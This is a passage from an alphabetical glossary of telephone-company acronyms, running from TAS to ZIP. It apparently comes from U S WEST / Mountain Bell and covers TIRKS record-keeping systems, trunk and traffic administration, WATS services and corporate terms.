TAS/TAR            Taxable Interstate/Intrastate Revenue Reports
TASC               Telecommunications Alarm Surveillance & Control
		   System
TASI               Time Assigned Speech Interpolation
TASL               Time Assignment Speech Interpolation
TASP               Toll Alternatives Studies Program
TAXI (2)           Terminal Access Interexchange Inquiry
		   Terminal Access for Interexchange Inquiries
TAXTRACK           Tax Tracking
TBD                Terminate Buried Drop
TBDS               Traffic Budget Data System
TC (4)             Telecommuting
		   Tie Cable
		   Toll Center
		   Transport Channel
TCAM               Telecommunications Access Method
TCAP               Transaction Capabilities Application Port
TCAS (2)           T-Carrier Alarm and Surveillance System
		   T-Carrier Administration System
TCBH               Time Consistent Busy Hour
TCC (2)            Trunk Control Center
		   Total Network Data System Coordination Center
TCCP               Trunk Cutover Control Program
TCFD               Time Code for Day
TCFW               Time Code for Week
TCI                Temporary Cash Investment
TCIS               TOP Communication Interface System
TCM (2)            Time Compression Multiplexing
		   TIRKS Communication Module
TCOG               TIRKS,COSMOS Operations Guidelines
TCOP               TIRKS-COSMOS Operations Guidelines
TCS                Tie Cable System
TCSP               Tandem Cross Section Program
TCTMS              T Carrier Trouble Monitoring System
TCU                Telecommunications Control Unit
TCWATS             Tariffs and Costs WATS Modeling
TD (2)             Test Details
		   Translations Design
TD-N               Long Distance Microwave Relay Transmission System
TDAS               Traffic Data Administration System
TDC                Traffic Data Converter
TDD                Telecommunication Devices for the Deaf
TDEAS              TOC (Task Oriented Costing) Data Entry and Analysis
		   System
TDEF               TIRKS Development Environment Flash
TDF                Trunk Distributing Frame
TDIF (2)           TIRKS Data Integrity Feature
		   TIRKS Data Base Integrity Feature
TDIS (2)           TIRKS Detailed Regulatory Interface System
		   TIRKS/DRP Interface System
TDM                Time Division Multiplexing
TDNP               Total Digital Network Planning
TDRS               Traffic Data Report Service
TDS                Tape Distribution System
TDSG               TIRKS Development System Group
TDSP               Trunk Demand Servicing Policy
TDSS               TIRKS Development Support System
TEAMS              Telecommunications Engineering Assets Management
		   System (Ex C)
TEAP               Training Education Assistance
TEARS              Traffic Engineering for Automated Route Selection
TEC (2)            Terminal Equipment Center
		   Transmission Engineering Center
TECS               Toll Error Correction System
TEFRA              Tax Equity and Fiscal Responsibility Act of 1982
TEL                Telematics, Inc.
TELECALC           Business Office Force Administration System
TELEQUEST          Enhanced Business Search
TEMPO              Toll Error Message Processing On-Line
TEO                Telephone Equipment Order
TERA               Trunk Error Analysis
TERABYTE           One Trillion Bytes
TERMS              TIRKS Trouble and Enhancement Request Management
		   System
TERRP              Telephone Equipment Return and Reuse Plan
TES (2)            Time Entry System
		   Telephone Exchange Service(s)
TESS (2)           TRISS Extract Subsystem
		   Trouble Entry Sub-System
TESSR              Terminal Equipment Sales Summary Report
TEWS (2)           Telecommunications Engineering Work-Bench
		       System (TIRKS)
		   Transation Engineering Work System
TFAS               TIRKS Field Assistance System
TFAST              TASP Formatter for Alternative Strategies for TSPS
TFC                Traffic
TFMS               Trunk and Facility Maintenance System
TFR                Toll Fraud Report
TFS                Trunking Forecasting System
TFTS               Trunk Forecast Tracking System
TG                 Telephone Grade
TGAC               Trunk Group Access Code
TGN                Trunk Group Number
TGSN               Trunk Group Serial Number
THP                Terminal Handling Processor
TIA                Telecommunications Industry Association
TIE                Terminal Interface Equipment
TIMBER             Toll Information Management Budget and Employee
		   Records System
TIP                Tie Placer
TIRKS (2)          Trunks Integrated Record Keeping System
		   Transmission Inventory Record Keeping System
TIRKS-C1           TIRKS-Circuit Component System
TIRKS-C1/CDS       TIRKS-Circuit Design System (For Special Service
		   Circuit)
TIRKS-C1/DAC       TIRKS-Asmgt, Rearr or Disc of Eq/Fac Units on a
		   Circuit
TIRKS-C1/MDS       TIRKS-Circuit Design System (For Message Circuits)
TIRKS-C1/REF       TIRKS-Circuit Location Information
TIRKS-C1/TAS       TIRKS-Trunk Administration System-Assignment
TIRKS-COC          Replaced with TIRKS-GOC
TIRKS-E1           Trunks Integrated Records Keeping System
		   -Equipment Inventory
		   TIRKS-Equipment Component System
TIRKS-E1/REF       TIRKS-Equipment Reference Catalog
TIRKS-E1/TAS       TIRKS-Trunk Administration System (For Switching
		   Equipment)
TIRKS-ECP-1        TIRKS-Equipment Conversion Package-1
TIRKS-ECP-1A       TIRKS-Equipment Conversion Package-1A
TIRKS-ECP-1B       TIRKS-Equipment Conversion Package-1B
TIRKS-EOC          TIRKS-Equipment Order Control (For E1/TAS Equipment)
TIRKS-F1           TIRKS-Facilty Component System
TIRKS-FEPS         TIRKS-Facility and Equipment Planning System
TIRKS-GOC          TIRKS-Generic Order Control Component System
TIRKS-ICOCS        TIRKS-Interim Circuit Order Control System
TIRKS-IEOCS        TIRKS-Interim Equipment Order Control System
TIRKS-NET          TIRKS-Network Control
TIRKS-PEDITE       TIRKS-Provisional Equip Design Incorp Transmission
		   Equipment
TIRM               Technical Information Resource Management
TIU                Telecommunications International Union
TL                 Transmission Level
TLI                Telephone Line Identifier
TLOG               TIRKS Transaction Log
TLP                Transmission Level Point
TM                 Time Management
TMA                TIRKS Management Aid
TMAT               TIRKS Mechanized Acceptance Test
TMDS               Training Measurement and Data System
TMF (2)            Telephone Master File
		   Trunk Maintenance Files
TMN                Trunk Member Number
TMR                Traffic Measurement Requests
TMRS               Telephone Maintenance Radio Service
TMS                Tape Management System
TN                 Telephone Number
TNAC               T-Network Augument Coordination
TNDS (2)           Total Network Data Systems
		   Traffic Network Distribution Services
TNDS/EQ            Total Network Data System/Equipment
TNDS/TK            Total Network Data System/Trunk
TNE                Intelligent Network Element
TNICS              Total Network Information and Costs System
TNOP               Total Network Operations Planning
TNPC               Traffic Network Planning Center
TNPP               Traffic Network Planning Procedures
TNPS               Transport Network Packet Switch
TNS                Transaction Network Services
TOC (3)            Task Oriented Costing
		   Trunk Operations Center
		   Trunk Ordering Code
TOCC               Tone Operated Control Circuit
TOD                Time of Day
TOE                Term of Employment(Formerly NCS)
TOLD               Toll Diversion to Attendant
TOMAS              Total Operational Management Analysis System
TONIC              T or N Investment Calculation
TOOC-4A            Toll Office Operations Center-4A Crossbar
TOP (3)            Transport Operations Plan
		   Task Oriented Practices
		   Transactions Oriented Protocol
TOPES              Telephone Office Planning and Engineering System
TOPIC              Toll Operator Position Information Computerized
TOPS (2)           Toll Online Processing System
		   Traffic Operator Positions Systems
TOSC               Trunk Operations Support Center
TP (2)             Teleprocessing/Teleprovisioning
		   Tie Pair
TPAM               Teleprocessing Access Method
TPDF               Tie Pair Distributing Frame
TPEES              Transmission and Power Equipment Estimating System
TPI                TIRKS/PICS Interface
TPM (2)            TIRKS Programming Manual
		   Terminating Point Master
TPNS               Tele-processing Network Simulator
TPR                Taper Code
TQ                 Telequest (tm) Service
TQCS               Transmission Quality Control System
TQS                TIRKS Query System
TR (2)             Trouble Report
		   Technical Reference
TRA                Telephone Recreation Association
TRAC               TIRKS Record Accuracy Check
TRACS (2)          Trouble Reporting and Control System
		   Trouble Reporting and Cost System
TRAPS              Transportation Reconciliation of Accounts Payable
		   System
TRBN               TNDS Record Base Network
TRCC               T-Carrier Restoration Control Center
TRDB (2)           Trunking Data Base
		   Trunk Data Base System
TRE                Transmission Equipment
TREST              Transmission Evaluation System
TRFS               Traffic Routing and Forecasting System
TRID               Traffic Record Issue Date
TRIM               Trouble Report Improved Methodology
TRIPS              Tracking Reporting Inventory Pricing System
TRISS              Traffic Item Summarization System
TRK                Trunk
TRMS               Trunk Records Management System
TRP                TIRKS Records Purification
TRQ                Traffic Rate Quoter
TRS (2)            TIRKS Reporting System
		   Trunk Routing System
TRUMP              Trunk Maintenance Package
TRUNK              Conductor(s) and/or Equipment(s) that Create a
		   Communication Channel
TRUST              Trunk Report Update Support Technique
TS                 Traffic Sensitive
TSAM               Tariff Simplification and Mechanization
TSC (2)            TIRKS-Technical Service Center
		   Two-Six Code
TSD (2)            Total Systems Development
		   Technical Standards Document
TSEC               Transmission Staff Engineering Center
TSEND              TIRKS System for External Network Distribution
TSO                Time Share Option
TSP                Traffic Service Position
TSPS               Traffic Service Position System
TSPS/AMA           TSPS/Automated Message Accumulation
TSPS/CAT           TSPS/Contracts and Access Tariffs
TSPS/SPC           TSPS/Supplemental Peg Count
TSR                Testing Services Request
TSS                Trunk Servicing System
TSS-C              Transmission Surveillance System-Cable
TSS-R              Transmission Surveillance System-Radio
TSTPAC             Transmission and Signaling Test Plan and Analysis
		   Concept
TTOE               Touch-Tone Order Entry
TTR                Touch Tone Residence Line Charge
TTRAN              Tape Transmission System
TTS                TIRKS Table System
TTY                Teletype
TU                 Traffic Unit
TUF                Translator of USOCS to FIDS
TUF (U S WEST)     Translate ASR data to USCO and FID
TUFS               Traffic Usage Forecasting System
TUG                TIRKS User Group
TUR                Traffic Usage Recorder
TUTOR              TIRKS User Training, Orientation and Reference
TV1, TVS           Private Line Broadcast Video Service
TVOC               Television Operations Center
TWCA               TIRKS Wire Center Administration
TWS                Trunk Work Station
UAD                Unrequested Assignment Data
UADS               User Attribute Data Set
UAS                Universal Access System
UCCP               Universal Credit Card Plan
UCI (2)            Universal Customer Interface
		   U S WEST Cellular, Inc.
UCS                Universal Character Set
UCT                Usage and Conversation Time Studies
UDP                Update DIP (Dedicated Inside Plant) Parameters
UDS                Universal Dispatch System
UFFDA              Upfront Financial Development and Analysis
UG CONST           Underground Construction
UI                 Unassignable Indicator
UMR                Utilization of Management Resources
UNICCAP            Universal Cable Circuit Analysis Program
UNIVAC             Universal Automatic Computer
UNIX (2)           A Computer Operating System
		   UNIX Time Sharing System
UNIX R             Computer Operating System Developed by Bell Labs
UPA                Universal Plant Administration
UPI                U S WEST Paging, Inc.
UPS                Uninterrupted Power Supply
USAM               User Spool Access Method
USASCIL            USA Standard Code for Information Exchange
USBOSS             BOSS for Region
USDA               Universal System of Accounts
USDC               Universal Switched Digital Capability
USERID             User Identification Code
USG                Usage
USM                U S WEST Strategic Marketing
USO                Universal Service Order
USO/SDCS           Universal Service Order/Stds Documentation Control
		   System
USOA               Uniform System of Accounts
USOAR              Universal System of Accounts Rewrite
USOC (2)           Universal Service Order Code
		   Uniform Service Order Code
USSB               United States Savings Bonds
USTA               National Customer Opinion Survey
USW                U S WEST, Inc.
USWMPP             U S WEST Management Pension Plan
USWC               U S WEST Communications
USWCI              U S WEST Communications, Inc.
USWPP              U S WEST Pension Plan
UT                 Utah
UTC                Update Table for Concentrator Redesign
VAN                Value Added Network
VAX                Minicomputer Family by DEC
VCI                U S WEST Venture Capital, Inc.
VCP                Voluntary Contribution Plan (U S WEST)
VDP                Volume Discount & Promotions
VDT                Video Display Terminal
VFCT               Voice Frequency Carrier Telegraph
VG                 Voice Grade
VGRSP              Voice Grade Rate Stability Plan
VIC                Videotex Information Center
VIM                Voice Information Messaging
VIO                Virtual Input/Output
VIP                Mountain Bell Volunteers in Politics
VIPP               Voluntary Income Protection Program
VIS                Vendor Interface System
VISR               Vendor Installation Service Results
VLC                Voice Line Card
VM (2)             Virtual Machine
		   Virtual Memory, IBM Operating System
VM/CBT             VM/Computer Based Training
VMS (2)            Operating System for DEC's VAX Computer
		   Voice Message Service
VOLESS             (Mart-China) Verification of Lines in ESS (NSS)
VOTEC              Voice and Non-Data Special Services Technical Support
VP                 Vector Processing
VPM                Virtual Private Networks
VR                 Voice Repeaters
VS                 Wang Microcomputer Operating System
VSAM (2)           Virtual Sequential Access Method
		   Virtual Storage Access Method
VSAT               Very Small Aperture Terminal
VSC                Vendor Service Center
VSOS               Vehicle Scheduling Optimization System

VSR                Vendor Service Request
VSS                Voice Storage System
VT CARS            Voice Terminal Competitive Activity Report
VTAM               Virtual Telecommunication Access Method
VTOC               Volume Table of Contents
VTPP               Variable Term Pricing Plan
WA (2)             Wideband Analog
		   Work Authorization
WADS               Wide Area Data Service
WAG                Warehouse Administrative Group
WAL                WATS Access Line
WAN                Wide Area Network
WATS (3)           Wide Area Telephone Service
		   Wide Area Telecommunications Service
		   Wide Area Transport Service
WATS-PL (2)        Wide Area Telephone Service-Price Indexes
		   Wide Area Telephone Service Price Index
WBE                Woman Business Enterprises
WC                 Wire Center
WCAR               Wire Center Assignment Request
WCAS               Work Center Administration System
WCFC               Wire Center Planning Center
WCID               Wire Center Identification
WCMF               Wire Center Market Forecasting
WCO                WATS Serving Office
WCPC               Wire Center Planning Center
WD (2)             Wideband Digital
		   Wideband Data
WDM                Wave Division Multiplexing
WECA               Washington Exchange Carrier Association
WECAN              Class W Economics Analysis
WECO               Western Electric Company
WFA                Work Force Administration
WFEG               WATS Front End Guiding
WIP                Western Electric Company Billing
WIS                WATS Information System
WM                 Work Manager
WMAR               Weekly Machine Administrative Report
WOAR               Written Off Account Report
WORCS              Work Organizing Reporting and Coordination System
WORD               Work Order Record and Details
WOT                Wire and Office Tested
WP (2)             Word Processing
		   Work Package
WPB                White Pages Book
WPM                Words Per Minute
WPS                Word Processing System
WRPM               WATS Rate Planning Model
WRR                Wideband Regenerative Repeater
WRS                Work Relationships Survey
WRSSAMP-ANAL       Work Relationship Analysis Sample
WS/MVP             Work Station/Multiple Vendor Product
WS/PC              Work Station/Personal Computer
WSN                Wang System Network
WSP                Wiring Specifications Table
WSQ                WATS Serving Office
WTN                Working Telephone Number
WTR                Weekly Time Reporting
WTR-MAS            Weekly Time Reporting-Management Accting Indexes
WU/PU              Work Unit/Plan
WY                 Wyoming
WYSIWYG            What You See Is What You Get
X-BAR              Cross Bar
XA                 Extended Architecture
XB                 Crossbar (or XBR)
XBR                Crossbar (or XB)
XBT                Crossbar Tandem
XCD (2)            Cross-Connect Device (or CCD)
		   Extended Circuit Details
XD                 Cancel Disconnect
XF                 Cancel First Choice (Not Available)
XL                 Cancel Long-Lead Connect
XN                 Cancel Connect
YPOL               Yellow Pages On-Line
YPS                Yellow Pages System
YPSC               Yellow Pages Sales Commissions
YPST               Yellow Pages Sales Commission
ZIP                Zero Interval Provisioning

End of Document.